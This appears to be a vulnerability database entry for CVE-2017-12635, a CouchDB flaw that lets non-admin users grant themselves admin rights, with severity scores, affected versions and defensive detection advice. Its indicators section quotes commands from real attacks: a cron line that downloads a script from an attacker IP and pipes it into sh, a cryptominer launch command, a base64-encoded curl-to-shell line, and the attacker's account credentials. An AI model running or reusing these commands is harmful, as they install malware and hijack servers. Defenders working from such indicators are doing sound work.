cbcvebase.
CVE-2017-12635
published 2017-11-14

CVE-2017-12635: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to…

PriorityP192critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
99.84%
100.0th percentile
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.

Affected

4 ranges
VendorProductVersion rangeFixed in
apachecouchdb< 1.7.01.7.0
apachecouchdb
apache_software_foundationapache_couchdb
apache_software_foundationapache_couchdb

Detection & IOCsextracted from sources · hover to see the quote

ip94.250.253.178
urlhttp://94.250.253.178/logo6.jpg
urlhttp://94.250.253.178/yam
ip178.170.189.193
path/var/tmp/vpz
path/tmp/cron
filenamelogo6.jpg
filenamevpz
otherdG9wa2VrMTEyOnRvcGtlazExMg==
otherY3VybCBodHRwOi8vOTQuMjUwLjI1My4xNzgvbG9nbzYuanBnfHNo
port5984
path/_users/org.couchdb.user:
commandecho "* * * * * wget -q http://94[.]250[.]253[.]178/logo6[.]jpg -O - | sh" >> /tmp/cron || true && crontab /tmp/cron
commandnohup ./vpz -c x -M stratum+tcp://xim4:x@178[.]170[.]189[.]193:82 >/dev/null &
  • Monitor for HTTP PUT requests to the /_users/org.couchdb.user: path on port 5984/TCP, which is the exploitation vector for CVE-2017-12635 privilege escalation.
  • Detect exploitation attempts by looking for JSON bodies with duplicate 'roles' keys (especially containing '_admin') in PUT requests to CouchDB's _users endpoint.
  • Alert on Base64-encoded Authorization headers matching dG9wa2VrMTEyOnRvcGtlazExMg== (topkek112:topkek112) in CouchDB traffic, indicating use of the attacker-created admin account.
  • Hunt for the miner binary dropped at /var/tmp/vpz and execution of stratum mining protocol connections to 178.170.189.193:82.
  • Detect process kill commands targeting competing miners (pkill -f minergate, pkill -f minergate-cli) as a post-exploitation indicator.
  • Trend Micro detects the dropped miner payloads as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ.
  • ·CouchDB listens on port 5984/TCP by default; internet-exposed instances without authentication are directly exploitable by this CVE.
  • ·The vulnerability affects Apache CouchDB before 1.7.0 and 2.x before 2.1.1; patched versions were released in November 2017.
  • ·The attack exploits a differential between the Erlang-based JSON parser (takes first key) and the JavaScript-based JSON parser (takes second key) for duplicate 'roles' fields, meaning the second roles value is used for write authorization but the first is used for subsequent access control.

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv9.8CRITICAL
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.